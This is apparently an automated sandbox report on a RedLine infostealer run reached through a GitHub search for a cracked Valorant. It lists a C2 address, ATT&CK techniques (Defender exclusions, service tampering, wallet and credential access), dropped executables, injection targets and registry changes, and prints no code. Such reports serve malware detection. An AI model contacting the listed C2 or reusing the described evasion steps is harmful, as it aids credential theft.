redline | hxxps://github[.]com/search?q=valorant+cracked&type=repositories&s=updated&o=desc

Analysis

max time kernel
598s
max time network
596s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
28-06-2024 15:13

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://github.com/search?q=valorant+cracked&type=repositories&s=updated&o=desc

Score

10^/10

redline evasion execution infostealer persistence spyware

Malware Config

Extracted

Family

redline

185.196.9.26:6302

Signatures

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline
RedLine payload 1 IoCs

Processes:

resource yara_rule

behavioral1/memory/4248-4045-0x0000000000400000-0x0000000000450000-memory.dmp family_redline

resource	yara_rule
behavioral1/memory/4248-4045-0x0000000000400000-0x0000000000450000-memory.dmp	family_redline

Command and Scripting Interpreter: PowerShell 1 TTPs 47 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
4496	powershell.exe
5596	powershell.exe
3784	powershell.exe
4948	powershell.exe
5964	powershell.exe
5708	powershell.exe
1088	powershell.exe
4940	powershell.exe
5704	powershell.exe
6160	powershell.exe
5080	powershell.exe
1512	powershell.exe
1144	powershell.exe
5244	powershell.exe
5980	powershell.exe
5216	powershell.exe
932	powershell.exe
376	powershell.exe
5816	powershell.exe
4616	powershell.exe
4944	powershell.exe
3508	powershell.exe
5456	powershell.exe
4316	powershell.exe
5884	powershell.exe
4084	powershell.exe
5520	powershell.exe
2920	powershell.exe
4632	powershell.exe
3244	powershell.exe
6756	powershell.exe
3712	powershell.exe
1340	powershell.exe
4760	powershell.exe
5568	powershell.exe
1176	powershell.exe
4108	powershell.exe
3336	powershell.exe
3840	powershell.exe
704	powershell.exe
5776	powershell.exe
6136	powershell.exe
1308	powershell.exe
6184	powershell.exe
4936	powershell.exe
1016	powershell.exe
96	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 63 IoCs

Processes:

Laucnherfkaskdk.exe0zkmbcv.exeUpdater.exeoxrkytp.exetmp2dwv.exeUpdater.exetn4vqfm.exe03p4voy.exesy1apmc.exebubtq4k.exe10dnmj2.exewuggnqj.execx0e4xw.execc4bdbo.exeg1edezj.exerad3jcs.exehvqqpah.exeUpdater.exe5vddwiy.exeUpdater.exesqr41w0.exeytfmw4p.exead33xoe.exe4nx3rta.exeUpdater.exekkxpsd3.exev5latbk.exedt1fmu5.exeUpdater.exeajqpuhu.exeopmuywu.exefd0f4ra.exeomy2os5.exeywbejni.exenlruekb.exeUpdater.exeqesjv25.exe5phhxnb.exeef5o4ps.exenud2gjl.exeju2qpr1.exe1ihw4fp.exeUpdater.exenhyabyp.exeyxk2d5z.exepb43lxi.exehvgi5pn.exeekqkj2f.exedk5sy0e.exebxehjbz.exep5od4ac.exeyxmnzwu.exec10px1p.execc344ty.exebjabcuk.exetfbhr23.exeUpdater.exem3kw4wd.exeant3fdc.exeLaucnherfkaskdk.exe10phjsq.exegourhtd.exeUpdater.exe

pid	process
5116	Laucnherfkaskdk.exe
4452	0zkmbcv.exe
5584	Updater.exe
5028	oxrkytp.exe
5672	tmp2dwv.exe
5644	Updater.exe
4772	tn4vqfm.exe
5752	03p4voy.exe
4616	sy1apmc.exe
2972	bubtq4k.exe
4576	10dnmj2.exe
4564	wuggnqj.exe
2600	cx0e4xw.exe
3928	cc4bdbo.exe
3552	g1edezj.exe
3672	rad3jcs.exe
3624	hvqqpah.exe
4332	Updater.exe
1604	5vddwiy.exe
584	Updater.exe
6000	sqr41w0.exe
5316	ytfmw4p.exe
5572	ad33xoe.exe
5444	4nx3rta.exe
1628	Updater.exe
5760	kkxpsd3.exe
3332	v5latbk.exe
5988	dt1fmu5.exe
1388	Updater.exe
3808	ajqpuhu.exe
2340	opmuywu.exe
1856	fd0f4ra.exe
2972	omy2os5.exe
5732	ywbejni.exe
3484	nlruekb.exe
2740	Updater.exe
1596	qesjv25.exe
6008	5phhxnb.exe
2900	ef5o4ps.exe
3584	nud2gjl.exe
3508	ju2qpr1.exe
5664	1ihw4fp.exe
1176	Updater.exe
5788	nhyabyp.exe
1604	yxk2d5z.exe
4504	pb43lxi.exe
4576	hvgi5pn.exe
5212	ekqkj2f.exe
2724	dk5sy0e.exe
4772	bxehjbz.exe
4512	p5od4ac.exe
4948	yxmnzwu.exe
2768	c10px1p.exe
3820	cc344ty.exe
4752	bjabcuk.exe
6108	tfbhr23.exe
6744	Updater.exe
1908	m3kw4wd.exe
6204	ant3fdc.exe
6788	Laucnherfkaskdk.exe
4456	10phjsq.exe
6284	gourhtd.exe
4908	Updater.exe

Loads dropped DLL 28 IoCs

Processes:

Laucnherfkaskdk.exeoxrkytp.exetn4vqfm.exeytfmw4p.exeajqpuhu.exefd0f4ra.exeywbejni.exenlruekb.exe5phhxnb.exeef5o4ps.exeju2qpr1.exe1ihw4fp.exenhyabyp.exeyxk2d5z.exepb43lxi.exehvgi5pn.exeekqkj2f.exedk5sy0e.exep5od4ac.exeyxmnzwu.exec10px1p.execc344ty.exetfbhr23.exem3kw4wd.exeLaucnherfkaskdk.exegourhtd.exe

pid	process
5116	Laucnherfkaskdk.exe
5116	Laucnherfkaskdk.exe
5028	oxrkytp.exe
4772	tn4vqfm.exe
5316	ytfmw4p.exe
3808	ajqpuhu.exe
1856	fd0f4ra.exe
5732	ywbejni.exe
3484	nlruekb.exe
6008	5phhxnb.exe
2900	ef5o4ps.exe
3508	ju2qpr1.exe
5664	1ihw4fp.exe
5788	nhyabyp.exe
1604	yxk2d5z.exe
4504	pb43lxi.exe
4576	hvgi5pn.exe
5212	ekqkj2f.exe
2724	dk5sy0e.exe
4512	p5od4ac.exe
4948	yxmnzwu.exe
2768	c10px1p.exe
3820	cc344ty.exe
6108	tfbhr23.exe
1908	m3kw4wd.exe
6788	Laucnherfkaskdk.exe
6788	Laucnherfkaskdk.exe
6284	gourhtd.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 48 IoCs

Web Service

T1102

Processes:

flow	ioc
289	raw.githubusercontent.com
296	raw.githubusercontent.com
304	raw.githubusercontent.com
333	bitbucket.org
297	raw.githubusercontent.com
298	raw.githubusercontent.com
193	camo.githubusercontent.com
237	bitbucket.org
262	raw.githubusercontent.com
295	raw.githubusercontent.com
300	raw.githubusercontent.com
334	bitbucket.org
232	raw.githubusercontent.com
266	bitbucket.org
286	raw.githubusercontent.com
299	raw.githubusercontent.com
274	pastebin.com
275	pastebin.com
285	raw.githubusercontent.com
303	raw.githubusercontent.com
309	bitbucket.org
331	raw.githubusercontent.com
189	camo.githubusercontent.com
216	camo.githubusercontent.com
231	raw.githubusercontent.com
284	raw.githubusercontent.com
292	raw.githubusercontent.com
293	raw.githubusercontent.com
235	bitbucket.org
279	raw.githubusercontent.com
281	raw.githubusercontent.com
291	raw.githubusercontent.com
288	raw.githubusercontent.com
290	raw.githubusercontent.com
302	raw.githubusercontent.com
185	camo.githubusercontent.com
265	bitbucket.org
282	raw.githubusercontent.com
287	raw.githubusercontent.com
234	bitbucket.org
236	bitbucket.org
283	raw.githubusercontent.com
294	raw.githubusercontent.com
188	camo.githubusercontent.com
190	camo.githubusercontent.com
229	raw.githubusercontent.com
230	raw.githubusercontent.com
301	raw.githubusercontent.com

Drops file in System32 directory 31 IoCs

Processes:

powershell.exeUpdater.exepowershell.exeUpdater.exeUpdater.exeUpdater.exe0zkmbcv.exepowershell.exead33xoe.exepowershell.exeomy2os5.exebxehjbz.exetmp2dwv.exeUpdater.exepowershell.exeUpdater.exe10phjsq.exe03p4voy.exeUpdater.exeUpdater.exepowershell.exepowershell.exeUpdater.exeUpdater.exepowershell.exe5vddwiy.exepowershell.exev5latbk.exenud2gjl.exepowershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	Updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	Updater.exe
File opened for modification	C:\Windows\system32\MRT.exe	Updater.exe
File opened for modification	C:\Windows\system32\MRT.exe	Updater.exe
File opened for modification	C:\Windows\system32\MRT.exe	0zkmbcv.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	ad33xoe.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	omy2os5.exe
File opened for modification	C:\Windows\system32\MRT.exe	bxehjbz.exe
File opened for modification	C:\Windows\system32\MRT.exe	tmp2dwv.exe
File opened for modification	C:\Windows\system32\MRT.exe	Updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	Updater.exe
File opened for modification	C:\Windows\system32\MRT.exe	10phjsq.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	03p4voy.exe
File opened for modification	C:\Windows\system32\MRT.exe	Updater.exe
File opened for modification	C:\Windows\system32\MRT.exe	Updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	Updater.exe
File opened for modification	C:\Windows\system32\MRT.exe	Updater.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	5vddwiy.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	v5latbk.exe
File opened for modification	C:\Windows\system32\MRT.exe	nud2gjl.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 26 IoCs

Processes:

Updater.exeoxrkytp.exetn4vqfm.exeytfmw4p.exeajqpuhu.exefd0f4ra.exeywbejni.exenlruekb.exe5phhxnb.exeef5o4ps.exeju2qpr1.exe1ihw4fp.exenhyabyp.exeyxk2d5z.exepb43lxi.exehvgi5pn.exeekqkj2f.exedk5sy0e.exep5od4ac.exeyxmnzwu.exec10px1p.execc344ty.exetfbhr23.exem3kw4wd.exegourhtd.exe

description	pid	process	target process
PID 5584 set thread context of 2924	5584	Updater.exe	conhost.exe
PID 5584 set thread context of 2992	5584	Updater.exe	svchost.exe
PID 5028 set thread context of 4248	5028	oxrkytp.exe	AppLaunch.exe
PID 4772 set thread context of 352	4772	tn4vqfm.exe	Conhost.exe
PID 5316 set thread context of 4208	5316	ytfmw4p.exe	AppLaunch.exe
PID 3808 set thread context of 1884	3808	ajqpuhu.exe	AppLaunch.exe
PID 1856 set thread context of 5704	1856	fd0f4ra.exe	Conhost.exe
PID 5732 set thread context of 4548	5732	ywbejni.exe	AppLaunch.exe
PID 3484 set thread context of 684	3484	nlruekb.exe	Conhost.exe
PID 6008 set thread context of 2572	6008	5phhxnb.exe	AppLaunch.exe
PID 2900 set thread context of 3332	2900	ef5o4ps.exe	Conhost.exe
PID 3508 set thread context of 5716	3508	ju2qpr1.exe	AppLaunch.exe
PID 5664 set thread context of 5852	5664	1ihw4fp.exe	AppLaunch.exe
PID 5788 set thread context of 956	5788	nhyabyp.exe	AppLaunch.exe
PID 1604 set thread context of 4304	1604	yxk2d5z.exe	sc.exe
PID 4504 set thread context of 5080	4504	pb43lxi.exe	AppLaunch.exe
PID 4576 set thread context of 5396	4576	hvgi5pn.exe	AppLaunch.exe
PID 5212 set thread context of 192	5212	ekqkj2f.exe	AppLaunch.exe
PID 2724 set thread context of 2228	2724	dk5sy0e.exe	AppLaunch.exe
PID 4512 set thread context of 1600	4512	p5od4ac.exe	AppLaunch.exe
PID 4948 set thread context of 1692	4948	yxmnzwu.exe	AppLaunch.exe
PID 2768 set thread context of 5408	2768	c10px1p.exe	AppLaunch.exe
PID 3820 set thread context of 3384	3820	cc344ty.exe	AppLaunch.exe
PID 6108 set thread context of 2600	6108	tfbhr23.exe	AppLaunch.exe
PID 1908 set thread context of 6112	1908	m3kw4wd.exe	AppLaunch.exe
PID 6284 set thread context of 5968	6284	gourhtd.exe	AppLaunch.exe

Drops file in Windows directory 12 IoCs

Processes:

MicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exetaskmgr.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exe

description	ioc	process
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\4183903823\2290032291.pri	taskmgr.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	MicrosoftEdge.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\3720402701\1568373884.pri	MicrosoftEdgeCP.exe
File created	C:\Windows\rescache\_merged\1601268389\715946058.pri	taskmgr.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	process
6268	sc.exe
1876	sc.exe
2316	sc.exe
3912	sc.exe
6300	sc.exe
2920	sc.exe
800	sc.exe
640	sc.exe
2288	sc.exe
4300	sc.exe
5972	sc.exe
4548	sc.exe
4844	sc.exe
5860	sc.exe
2652	sc.exe
2360	sc.exe
4932	sc.exe
6536	sc.exe
5720	sc.exe
5224	sc.exe
4144	sc.exe
5584	sc.exe
4624	sc.exe
4100	sc.exe
4108	sc.exe
4392	sc.exe
2360	sc.exe
6064	sc.exe
3836	sc.exe
5900	sc.exe
4148	sc.exe
6416	sc.exe
5232	sc.exe
5244	sc.exe
1196	sc.exe
4964	sc.exe
616	sc.exe
5872	sc.exe
1512	sc.exe
1944	sc.exe
4980	sc.exe
208	sc.exe
5092	sc.exe
1116	sc.exe
1612	sc.exe
4944	sc.exe
1376	sc.exe
5496	sc.exe
5232	sc.exe
3048	sc.exe
4352	sc.exe
3092	sc.exe
1232	sc.exe
5248	sc.exe
2008	sc.exe
3408	sc.exe
3732	sc.exe
8	sc.exe
1636	sc.exe
2716	sc.exe
4400	sc.exe
4304	sc.exe
364	sc.exe
5516	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

taskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_QEMU&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

firefox.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

Processes:

browser_broker.exeMicrosoftEdgeCP.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000\Software\Microsoft\Internet Explorer\Main	browser_broker.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000\Software\Microsoft\Internet Explorer\Main	MicrosoftEdgeCP.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe

Modifies registry class 64 IoCs

Processes:

MicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdge.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exefirefox.exeMicrosoftEdgeCP.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	MicrosoftEdgeCP.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:"	MicrosoftEdgeCP.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\Internet Settings\Cache\Cookies\CacheLimit = "1"	MicrosoftEdgeCP.exe
Key created	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Software\Microsoft\SystemCertificates\Root\CTLs	MicrosoftEdge.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DataStore\LastCleanup = 0e3636cf6dc9da01	MicrosoftEdge.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\121\CIStatus\CIPolicyState = "0"	MicrosoftEdgeCP.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FlipAhead\Meta\generator$vBulletin 4	MicrosoftEdge.exe
